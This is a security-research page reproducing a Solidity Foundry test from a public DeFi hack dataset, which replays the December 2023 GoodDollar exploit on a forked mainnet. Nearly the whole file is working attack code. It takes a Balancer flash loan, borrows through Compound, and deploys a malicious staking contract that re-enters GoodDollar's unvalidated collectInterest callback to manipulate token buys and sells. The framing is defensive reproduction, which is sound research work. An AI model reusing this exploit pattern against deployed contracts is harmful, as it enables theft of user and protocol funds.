Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/GoodDollar_exp.sol

Public reproduction file for dataset entry GoodDollar.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/GoodDollar_exp.sol174 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$2M (DAI + GoodDollarToken. Info from 'balance changes' in Blocksec Explorer)
8// Exploiter : https://etherscan.io/address/0x6738fa889ff31f82d9fe8862ec025dbe318f3fde
9// Attack Contract : https://etherscan.io/address/0xf06ab383528f51da67e2b2407327731770156ed6
10// Victim Contract : https://etherscan.io/address/0x0c6c80d2061afa35e160f3799411d83bdeea0a5a
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x726459a46839c915ee2fb3d8de7f986e3c7391c605b7a622112161a84c7384d0
13// @Analysis
14// https://twitter.com/MetaSec_xyz/status/1736428284756607386
16interface IGDX is IERC20 {
17 function buy(uint256 _tokenAmount, uint256 _minReturn, address _targetAddress) external returns (uint256);
19 function sell(
20 uint256 _gdAmount,
21 uint256 _minReturn,
22 address _target,
23 address _seller
24 ) external returns (uint256, uint256);
27interface IGoodFundManager {
28 function collectInterest(address[] memory _stakingContracts, bool _forceAndWaiverRewards) external;
31interface IcETH is ICEtherDelegate {
32 function redeem(
33 uint256 redeemTokens
34 ) external returns (uint256);
37interface IWrappedEther is IWETH {
38 function transferFrom(address from, address to, uint256 value) external returns (bool);
41contract ContractTest is Test {
42 IBalancerVault private constant Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
43 IWrappedEther private constant WrappedEther = IWrappedEther(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
44 IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
45 IERC20 private constant GoodDollarToken = IERC20(0x67C5870b4A41D4Ebef24d2456547A03F1f3e094B);
46 IcETH private constant cETH = IcETH(payable(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5));
47 ICErc20Delegate private constant cDAI = ICErc20Delegate(payable(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643));
48 ICointroller private constant Comptroller = ICointroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
49 IGDX private constant GDX = IGDX(0xa150a825d425B36329D8294eeF8bD0fE68f8F6E0);
50 address private constant originalExploitContract = 0xF06Ab383528F51dA67E2b2407327731770156ED6;
51 address private constant participant = 0x6C08f56ff2B15dB7ddf2F123f5BFFB68e308161B;
53 function setUp() public {
54 vm.createSelectFork("mainnet", 18_802_014);
55 vm.label(address(Balancer), "Balancer");
56 vm.label(address(WrappedEther), "WrappedEther");
57 vm.label(address(DAI), "DAI");
58 vm.label(address(GoodDollarToken), "GoodDollarToken");
59 vm.label(address(cETH), "cETH");
60 vm.label(address(cDAI), "cDAI");
61 vm.label(address(Comptroller), "Comptroller");
62 vm.label(address(GDX), "GDX");
63 }
65 function testExploit() public {
66 deal(address(this), 0);
67 emit log_named_decimal_uint("Exploiter DAI balance before attack", DAI.balanceOf(address(this)), DAI.decimals());
69 emit log_named_decimal_uint(
70 "Exploiter GoodDollarToken balance before attack",
71 GoodDollarToken.balanceOf(address(this)),
72 GoodDollarToken.decimals()
73 );
75 address[] memory tokens = new address[](1);
76 tokens[0] = address(WrappedEther);
77 uint256[] memory amounts = new uint256[](1);
78 amounts[0] = WrappedEther.balanceOf(address(Balancer));
79 Balancer.flashLoan(address(this), tokens, amounts, bytes(""));
80 }
82 function receiveFlashLoan(
83 address[] calldata tokens,
84 uint256[] calldata amounts,
85 uint256[] calldata feeAmounts,
86 bytes calldata userData
87 ) external {
88 // Obtain GoodDollar tokens
89 WrappedEther.withdraw(39_000 ether);
90 WrappedEther.approve(address(cETH), type(uint256).max);
91 cETH.mint{value: address(this).balance}();
92 address[] memory cTokens = new address[](1);
93 cTokens[0] = address(cETH);
94 Comptroller.enterMarkets(cTokens);
95 uint256 underlyingAmount = cDAI.getCash();
96 cDAI.borrow(underlyingAmount);
97 DAI.approve(address(cDAI), type(uint256).max);
98 cDAI.mint(DAI.balanceOf(address(this)));
99 cDAI.approve(address(GDX), type(uint256).max);
100 uint256 goodDollarAmountToBuy = (cDAI.balanceOf(address(this)) * 19) / 20;
101 GDX.buy(goodDollarAmountToBuy, 1, address(this));
103 MaliciousStakingContract maliciousStakingContract = new MaliciousStakingContract();
104 // Transfer remaining cDAI amount to malicious staking contract.
105 // This will be used to buy GoodDollar for malicious staking contract when calling deposit()
106 cDAI.transfer(address(maliciousStakingContract), cDAI.balanceOf(address(this)));
108 for (uint256 i; i < 2; ++i) {
109 maliciousStakingContract.deposit();
110 }
111 maliciousStakingContract.transferTokens();
113 GoodDollarToken.approve(address(GDX), type(uint256).max);
114 // Following amount comes from original attack contract
115 // address 0xf06ab383528f51da67e2b2407327731770156ed6 -> parameter '_amount' in deposit()
116 uint256 amountToSell = 5_090_998_266_365;
117 // Burn GoodDollar amount
118 GDX.sell(amountToSell, 1, address(this), address(this));
120 cDAI.redeemUnderlying(underlyingAmount);
121 cDAI.repayBorrow(underlyingAmount);
122 // After repaying borrow withdraw DAI
123 cDAI.redeem(cDAI.balanceOf(address(this)));
124 // Withdraw ETH
125 cETH.redeem(cETH.balanceOf(address(this)));
126 WrappedEther.deposit{value: address(this).balance}();
127 // Before repaying Balancer there was transfer/donate of 123e15 amount of WETH from
128 // 0x6C08f56ff2B15dB7ddf2F123f5BFFB68e308161B - participant in the attack tx. Also this address holds final amounts of tokens
129 vm.prank(originalExploitContract);
130 WrappedEther.transferFrom(participant, address(this), 123e15);
131 WrappedEther.transfer(address(Balancer), amounts[0]);
133 emit log_named_decimal_uint("Exploiter DAI balance after attack", DAI.balanceOf(address(this)), DAI.decimals());
135 emit log_named_decimal_uint(
136 "Exploiter GoodDollarToken balance after attack",
137 GoodDollarToken.balanceOf(address(this)),
138 GoodDollarToken.decimals()
139 );
140 }
142 receive() external payable {}
145contract MaliciousStakingContract {
146 IGoodFundManager private constant GoodFundManager = IGoodFundManager(0x0c6C80D2061afA35E160F3799411d83BDEEA0a5A);
147 IERC20 private constant GoodDollarToken = IERC20(0x67C5870b4A41D4Ebef24d2456547A03F1f3e094B);
148 IGDX private constant GDX = IGDX(0xa150a825d425B36329D8294eeF8bD0fE68f8F6E0);
149 ICErc20Delegate private constant cDAI = ICErc20Delegate(payable(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643));
151 function deposit() external {
152 address[] memory _stakingContracts = new address[](1);
153 _stakingContracts[0] = address(this);
154 // Flawed function. Lack of input validation
155 GoodFundManager.collectInterest(_stakingContracts, true);
157 GoodDollarToken.approve(address(GDX), type(uint256).max);
158 GDX.sell(GoodDollarToken.balanceOf(address(this)), 1, address(this), address(this));
159 }
161 function transferTokens() external {
162 cDAI.transfer(msg.sender, cDAI.balanceOf(address(this)));
163 }
165 // Callback function. This function will be called from collectInterest()
166 function collectUBIInterest(
167 address _recipient
168 ) external returns (uint256, uint256, uint256) {
169 cDAI.approve(address(GDX), type(uint256).max);
170 // Reentrancy
171 GDX.buy(cDAI.balanceOf(address(this)), 1, address(this));
172 return (0, 0, 0);
173 }

Analysis

Dataset entry

Public Foundry test for “GoodDollar” (2023-12-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Contract

    0xf06ab383528f51da67e2b2407327731770156ed6

  • Victim

    0x0c6c80d2061afa35e160f3799411d83bdeea0a5a

  • Attack Tx

    0x726459a46839c915ee2fb3d8de7f986e3c7391c605b7a622112161a84c7384d0

File record

Name
GoodDollar
Path
src/test/2023-12/GoodDollar_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
237528aaeaa410e9e3febd6039224f224a7a6dff
Language
Solidity
Size
175 lines
Date
2023-12-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/GoodDollar_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 237528aaeaa410e9e3febd6039224f224a7a6dff, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.